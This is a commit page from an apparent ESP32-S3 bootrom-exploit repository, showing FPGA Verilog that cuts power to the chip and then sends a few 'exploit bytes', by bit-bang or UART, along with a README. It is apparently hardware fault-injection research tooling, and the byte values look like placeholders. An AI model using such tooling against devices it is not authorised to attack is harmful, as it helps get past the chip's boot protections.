PrincessPi/esp-bootrom-exploit
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

migration

Browse Source
This commit is contained in:
Princess Pi
2026-05-26 21:22:49 -06:00
parent a332083f43
commit 293f37b1a5
127 changed files with 18848 additions and 18848 deletions
Download Patch File Download Diff File Expand all files Collapse all files
ESP32-S3_Exploit_FPGA/ESP32-S3_Exploit_BitBang/ES32-S3_Exploit_BitBang.v
+72 -72
View File
@@ -1,73 +1,73 @@
module exploit
(
// exploit
input clk_in,
output bang_tx,
output power_tx,
output [5:0] led
);
////////// EXPLOIT
localparam INSTRUCTION_OFFSET = 100;
// da official exploit code
localparam EXPLOIT_BYTES = {16'hFA,16'hEB,16'h11,16'hDD};
localparam EXPLOIT_BYTES_LEN = $bits(EXPLOIT_BYTES)-1; // $bits() seems to work // https://www.linkedin.com/pulse/bits-clog2-size-uses-differences-muhammed-kawser-ahmed
localparam LEDS_ON = 0;
localparam LEDS_OFF = 6'b111111;
reg [1:0] bang_tx_reg = 0;
reg [1:0] power_tx_reg = 1;
reg [1:0] led_run = 1;
reg [1:0] rst = 0;
reg [1:0] running = 1;
reg [5:0] ledCounter = 0;
reg [23:0] instruction_counter = 0;
reg [23:0] exploit_tx_count = 0;
reg [EXPLOIT_BYTES_LEN:0] exploit_bytes_reg = EXPLOIT_BYTES;
always @(posedge clk_in) begin
if(rst == 1) begin
running = 1;
power_tx_reg = 1;
rst = 0;
end
if(instruction_counter == INSTRUCTION_OFFSET) begin
power_tx_reg = 0;
rst = 1;
end
if(running == 1) begin
if(instruction_counter >= INSTRUCTION_OFFSET && instruction_counter <= INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin
bang_tx_reg <= exploit_bytes_reg[exploit_tx_count];
exploit_tx_count <= exploit_tx_count + 1;
led_run <= 1;
end else begin
led_run <= 0;
end
if(led_run == 1) begin
ledCounter <= ledCounter + 1;
if(ledCounter == LEDS_OFF) begin
ledCounter <= LEDS_ON;
end
end
if(instruction_counter == INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin
ledCounter <= LEDS_ON;
rst = 1;
running = 0;
end
instruction_counter <= instruction_counter + 1;
end
end
assign led = ledCounter;
assign bang_tx = bang_tx_reg;
assign power_tx = power_tx_reg;
module exploit
(
// exploit
input clk_in,
output bang_tx,
output power_tx,
output [5:0] led
);
////////// EXPLOIT
localparam INSTRUCTION_OFFSET = 100;
// da official exploit code
localparam EXPLOIT_BYTES = {16'hFA,16'hEB,16'h11,16'hDD};
localparam EXPLOIT_BYTES_LEN = $bits(EXPLOIT_BYTES)-1; // $bits() seems to work // https://www.linkedin.com/pulse/bits-clog2-size-uses-differences-muhammed-kawser-ahmed
localparam LEDS_ON = 0;
localparam LEDS_OFF = 6'b111111;
reg [1:0] bang_tx_reg = 0;
reg [1:0] power_tx_reg = 1;
reg [1:0] led_run = 1;
reg [1:0] rst = 0;
reg [1:0] running = 1;
reg [5:0] ledCounter = 0;
reg [23:0] instruction_counter = 0;
reg [23:0] exploit_tx_count = 0;
reg [EXPLOIT_BYTES_LEN:0] exploit_bytes_reg = EXPLOIT_BYTES;
always @(posedge clk_in) begin
if(rst == 1) begin
running = 1;
power_tx_reg = 1;
rst = 0;
end
if(instruction_counter == INSTRUCTION_OFFSET) begin
power_tx_reg = 0;
rst = 1;
end
if(running == 1) begin
if(instruction_counter >= INSTRUCTION_OFFSET && instruction_counter <= INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin
bang_tx_reg <= exploit_bytes_reg[exploit_tx_count];
exploit_tx_count <= exploit_tx_count + 1;
led_run <= 1;
end else begin
led_run <= 0;
end
if(led_run == 1) begin
ledCounter <= ledCounter + 1;
if(ledCounter == LEDS_OFF) begin
ledCounter <= LEDS_ON;
end
end
if(instruction_counter == INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin
ledCounter <= LEDS_ON;
rst = 1;
running = 0;
end
instruction_counter <= instruction_counter + 1;
end
end
assign led = ledCounter;
assign bang_tx = bang_tx_reg;
assign power_tx = power_tx_reg;
endmodule
ESP32-S3_Exploit_FPGA/ESP32-S3_Exploit_UART/ESP32-S3_Exploit_UART.v
+216 -216
View File
@@ -1,217 +1,217 @@
module exploit
#(
parameter DELAY_FRAMES = 234 // 27,000,000 (27Mhz) / 115200 Baud rate
)
(
// exploit
input clk_in,
output power_tx,
output [5:0] led,
// uart
input clk,
input btn1,
input uart_rx,
output uart_tx
);
////////// EXPLOIT
localparam INSTRUCTION_OFFSET = 100;
// da official exploit code
localparam EXPLOIT_BYTES = {8'h5D,8'h5D,8'h5D,8'h5D};
//// glitch logic
localparam EXPLOIT_BYTES_LEN = $bits(EXPLOIT_BYTES)-1; // $bits() seems to work // https://www.linkedin.com/pulse/bits-clog2-size-uses-differences-muhammed-kawser-ahmed
localparam LEDS_ON = 0;
localparam LEDS_OFF = 6'b111111;
reg [1:0] power_tx_reg = 1;
reg [1:0] led_run = 1;
reg [1:0] rst = 0;
reg [1:0] running = 1;
reg [5:0] ledCounter = 0;
reg [23:0] instruction_counter = 0;
reg [23:0] exploit_tx_count = 0;
reg [EXPLOIT_BYTES_LEN:0] exploit_bytes_reg = EXPLOIT_BYTES;
always @(posedge clk_in) begin
if(rst == 1) begin
running = 1;
power_tx_reg = 1;
rst = 0;
end
if(instruction_counter == INSTRUCTION_OFFSET) begin
power_tx_reg = 0;
rst = 1;
end
if(running == 1) begin
if(instruction_counter >= INSTRUCTION_OFFSET && instruction_counter <= INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin
led_run <= 1;
end else begin
led_run <= 0;
end
if(led_run == 1) begin
ledCounter <= ledCounter + 1;
if(ledCounter == LEDS_OFF) begin
ledCounter <= LEDS_ON;
end
end
if(instruction_counter == INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin
ledCounter <= LEDS_ON;
rst = 1;
running = 0;
end
instruction_counter <= instruction_counter + 1;
end
end
//// uart rx
// uart shit ganked from https://raw.githubusercontent.com/lushaylabs/tangnano9k-series-examples/
// of https://learn.lushaylabs.com
localparam HALF_DELAY_WAIT = (DELAY_FRAMES / 2);
reg [3:0] rxState = 0;
reg [12:0] rxCounter = 0;
reg [7:0] dataIn = 0;
reg [2:0] rxBitNumber = 0;
reg byteReady = 0;
localparam RX_STATE_IDLE = 0;
localparam RX_STATE_START_BIT = 1;
localparam RX_STATE_READ_WAIT = 2;
localparam RX_STATE_READ = 3;
localparam RX_STATE_STOP_BIT = 5;
always @(posedge clk) begin
case (rxState)
RX_STATE_IDLE: begin
if (uart_rx == 0) begin
rxState <= RX_STATE_START_BIT;
rxCounter <= 1;
rxBitNumber <= 0;
byteReady <= 0;
end
end
RX_STATE_START_BIT: begin
if (rxCounter == HALF_DELAY_WAIT) begin
rxState <= RX_STATE_READ_WAIT;
rxCounter <= 1;
end else
rxCounter <= rxCounter + 1;
end
RX_STATE_READ_WAIT: begin
rxCounter <= rxCounter + 1;
if ((rxCounter + 1) == DELAY_FRAMES) begin
rxState <= RX_STATE_READ;
end
end
RX_STATE_READ: begin
rxCounter <= 1;
dataIn <= {uart_rx, dataIn[7:1]};
rxBitNumber <= rxBitNumber + 1;
if (rxBitNumber == 3'b111)
rxState <= RX_STATE_STOP_BIT;
else
rxState <= RX_STATE_READ_WAIT;
end
RX_STATE_STOP_BIT: begin
rxCounter <= rxCounter + 1;
if ((rxCounter + 1) == DELAY_FRAMES) begin
rxState <= RX_STATE_IDLE;
rxCounter <= 0;
byteReady <= 1;
end
end
endcase
end
//// uart tx
reg [3:0] txState = 0;
reg [24:0] txCounter = 0;
reg [1:0] txPinRegister = 1;
reg [2:0] txBitNumber = 0;
reg [3:0] txByteCounter = 0;
localparam MEMORY_LENGTH = 5;
localparam TX_STATE_IDLE = 0;
localparam TX_STATE_START_BIT = 1;
localparam TX_STATE_WRITE = 2;
localparam TX_STATE_STOP_BIT = 3;
localparam TX_STATE_DEBOUNCE = 4;
always @(posedge clk) begin
case (txState)
TX_STATE_IDLE: begin
if (btn1 == 0) begin
txState <= TX_STATE_START_BIT;
txCounter <= 0;
txByteCounter <= 0;
end
else begin
txPinRegister <= 1;
end
end
TX_STATE_START_BIT: begin
txPinRegister <= 0;
if ((txCounter + 1) == DELAY_FRAMES) begin
txState <= TX_STATE_WRITE;
txBitNumber <= 0;
txCounter <= 0;
end else
txCounter <= txCounter + 1;
end
TX_STATE_WRITE: begin
txPinRegister <= exploit_bytes_reg[txBitNumber];
if ((txCounter + 1) == DELAY_FRAMES) begin
if (txBitNumber == 7) begin
txState <= TX_STATE_STOP_BIT;
end else begin
txState <= TX_STATE_WRITE;
txBitNumber <= txBitNumber + 1;
end
txCounter <= 0;
end else
txCounter <= txCounter + 1;
end
TX_STATE_STOP_BIT: begin
txPinRegister <= 1;
if ((txCounter + 1) == DELAY_FRAMES) begin
if (txByteCounter == MEMORY_LENGTH - 1) begin
txState <= TX_STATE_DEBOUNCE;
end else begin
txByteCounter <= txByteCounter + 1;
txState <= TX_STATE_START_BIT;
end
txCounter <= 0;
end else
txCounter <= txCounter + 1;
end
TX_STATE_DEBOUNCE: begin
if (txCounter == 23'b111111111111111111) begin
if (btn1 == 1)
txState <= TX_STATE_IDLE;
end else
txCounter <= txCounter + 1;
end
endcase
end
// assigns to output
assign led = ledCounter;
assign power_tx = power_tx_reg;
assign uart_tx = txPinRegister;
module exploit
#(
parameter DELAY_FRAMES = 234 // 27,000,000 (27Mhz) / 115200 Baud rate
)
(
// exploit
input clk_in,
output power_tx,
output [5:0] led,
// uart
input clk,
input btn1,
input uart_rx,
output uart_tx
);
////////// EXPLOIT
localparam INSTRUCTION_OFFSET = 100;
// da official exploit code
localparam EXPLOIT_BYTES = {8'h5D,8'h5D,8'h5D,8'h5D};
//// glitch logic
localparam EXPLOIT_BYTES_LEN = $bits(EXPLOIT_BYTES)-1; // $bits() seems to work // https://www.linkedin.com/pulse/bits-clog2-size-uses-differences-muhammed-kawser-ahmed
localparam LEDS_ON = 0;
localparam LEDS_OFF = 6'b111111;
reg [1:0] power_tx_reg = 1;
reg [1:0] led_run = 1;
reg [1:0] rst = 0;
reg [1:0] running = 1;
reg [5:0] ledCounter = 0;
reg [23:0] instruction_counter = 0;
reg [23:0] exploit_tx_count = 0;
reg [EXPLOIT_BYTES_LEN:0] exploit_bytes_reg = EXPLOIT_BYTES;
always @(posedge clk_in) begin
if(rst == 1) begin
running = 1;
power_tx_reg = 1;
rst = 0;
end
if(instruction_counter == INSTRUCTION_OFFSET) begin
power_tx_reg = 0;
rst = 1;
end
if(running == 1) begin
if(instruction_counter >= INSTRUCTION_OFFSET && instruction_counter <= INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin
led_run <= 1;
end else begin
led_run <= 0;
end
if(led_run == 1) begin
ledCounter <= ledCounter + 1;
if(ledCounter == LEDS_OFF) begin
ledCounter <= LEDS_ON;
end
end
if(instruction_counter == INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin
ledCounter <= LEDS_ON;
rst = 1;
running = 0;
end
instruction_counter <= instruction_counter + 1;
end
end
//// uart rx
// uart shit ganked from https://raw.githubusercontent.com/lushaylabs/tangnano9k-series-examples/
// of https://learn.lushaylabs.com
localparam HALF_DELAY_WAIT = (DELAY_FRAMES / 2);
reg [3:0] rxState = 0;
reg [12:0] rxCounter = 0;
reg [7:0] dataIn = 0;
reg [2:0] rxBitNumber = 0;
reg byteReady = 0;
localparam RX_STATE_IDLE = 0;
localparam RX_STATE_START_BIT = 1;
localparam RX_STATE_READ_WAIT = 2;
localparam RX_STATE_READ = 3;
localparam RX_STATE_STOP_BIT = 5;
always @(posedge clk) begin
case (rxState)
RX_STATE_IDLE: begin
if (uart_rx == 0) begin
rxState <= RX_STATE_START_BIT;
rxCounter <= 1;
rxBitNumber <= 0;
byteReady <= 0;
end
end
RX_STATE_START_BIT: begin
if (rxCounter == HALF_DELAY_WAIT) begin
rxState <= RX_STATE_READ_WAIT;
rxCounter <= 1;
end else
rxCounter <= rxCounter + 1;
end
RX_STATE_READ_WAIT: begin
rxCounter <= rxCounter + 1;
if ((rxCounter + 1) == DELAY_FRAMES) begin
rxState <= RX_STATE_READ;
end
end
RX_STATE_READ: begin
rxCounter <= 1;
dataIn <= {uart_rx, dataIn[7:1]};
rxBitNumber <= rxBitNumber + 1;
if (rxBitNumber == 3'b111)
rxState <= RX_STATE_STOP_BIT;
else
rxState <= RX_STATE_READ_WAIT;
end
RX_STATE_STOP_BIT: begin
rxCounter <= rxCounter + 1;
if ((rxCounter + 1) == DELAY_FRAMES) begin
rxState <= RX_STATE_IDLE;
rxCounter <= 0;
byteReady <= 1;
end
end
endcase
end
//// uart tx
reg [3:0] txState = 0;
reg [24:0] txCounter = 0;
reg [1:0] txPinRegister = 1;
reg [2:0] txBitNumber = 0;
reg [3:0] txByteCounter = 0;
localparam MEMORY_LENGTH = 5;
localparam TX_STATE_IDLE = 0;
localparam TX_STATE_START_BIT = 1;
localparam TX_STATE_WRITE = 2;
localparam TX_STATE_STOP_BIT = 3;
localparam TX_STATE_DEBOUNCE = 4;
always @(posedge clk) begin
case (txState)
TX_STATE_IDLE: begin
if (btn1 == 0) begin
txState <= TX_STATE_START_BIT;
txCounter <= 0;
txByteCounter <= 0;
end
else begin
txPinRegister <= 1;
end
end
TX_STATE_START_BIT: begin
txPinRegister <= 0;
if ((txCounter + 1) == DELAY_FRAMES) begin
txState <= TX_STATE_WRITE;
txBitNumber <= 0;
txCounter <= 0;
end else
txCounter <= txCounter + 1;
end
TX_STATE_WRITE: begin
txPinRegister <= exploit_bytes_reg[txBitNumber];
if ((txCounter + 1) == DELAY_FRAMES) begin
if (txBitNumber == 7) begin
txState <= TX_STATE_STOP_BIT;
end else begin
txState <= TX_STATE_WRITE;
txBitNumber <= txBitNumber + 1;
end
txCounter <= 0;
end else
txCounter <= txCounter + 1;
end
TX_STATE_STOP_BIT: begin
txPinRegister <= 1;
if ((txCounter + 1) == DELAY_FRAMES) begin
if (txByteCounter == MEMORY_LENGTH - 1) begin
txState <= TX_STATE_DEBOUNCE;
end else begin
txByteCounter <= txByteCounter + 1;
txState <= TX_STATE_START_BIT;
end
txCounter <= 0;
end else
txCounter <= txCounter + 1;
end
TX_STATE_DEBOUNCE: begin
if (txCounter == 23'b111111111111111111) begin
if (btn1 == 1)
txState <= TX_STATE_IDLE;
end else
txCounter <= txCounter + 1;
end
endcase
end
// assigns to output
assign led = ledCounter;
assign power_tx = power_tx_reg;
assign uart_tx = txPinRegister;
endmodule
ESP32-S3_Exploit_FPGA/README.md
+5 -5
View File
@@ -1,6 +1,6 @@
Made for the [Tang Nano 9K FPGA](https://www.aliexpress.us/item/3256807026232976.html?channel=twinner)
Build using [Lushay Code](https://learn.lushaylabs.com/vscode-extension/) for VS Code
Testing using the two versions
[Bit-bang version](ESP32-S3_Exploit_BitBang/)
Made for the [Tang Nano 9K FPGA](https://www.aliexpress.us/item/3256807026232976.html?channel=twinner)
Build using [Lushay Code](https://learn.lushaylabs.com/vscode-extension/) for VS Code
Testing using the two versions
[Bit-bang version](ESP32-S3_Exploit_BitBang/)
[UART version](ESP32-S3_Exploit_UART/)